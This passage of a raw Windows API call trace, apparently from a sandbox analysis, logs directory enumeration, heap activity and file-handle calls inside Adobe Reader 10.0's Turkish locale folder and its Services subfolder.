RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12140a0 [0082.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129b3e0 [0082.716] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.716] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.TUR", cAlternateFileName="")) returned 1 [0082.716] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.717] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12140c0 [0082.717] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129b4e8 [0082.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.718] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.TUR", cAlternateFileName="")) returned 1 [0082.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.718] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.718] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.719] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12140e0 [0082.719] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129b5f0 [0082.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.720] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807571a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.TUR", cAlternateFileName="")) returned 1 [0082.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.720] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.720] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1214100 [0082.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129b6f8 [0082.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.721] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.TUR", cAlternateFileName="")) returned 1 [0082.721] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.721] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.722] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.TUR", cAlternateFileName="")) returned 1 [0082.722] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.TUR", cAlternateFileName="")) returned 1 [0082.722] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.TUR", cAlternateFileName="")) returned 1 [0082.722] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.TUR", cAlternateFileName="")) returned 1 [0082.722] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.722] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.TUR", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.TUR", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.TUR", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.TUR", cAlternateFileName="")) returned 0 [0082.723] GetLastError () returned 0x12 [0082.723] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0082.723] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.TUR", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x61200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.TUR", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d0fa60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.TUR", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x75000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.TUR", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820a1b60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.TUR", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.TUR", cAlternateFileName="")) returned 1 [0082.723] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MakeAccessible.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830d9140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7a400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807571a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x140000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reflow.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.TUR", cAlternateFileName="")) returned 1 [0082.724] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.725] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.725] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0082.725] NtClose (Handle=0x168) returned 0x0 [0082.725] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129c040) returned 1 [0082.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c040 [0082.726] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.726] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x129c148 [0082.727] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0082.727] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, 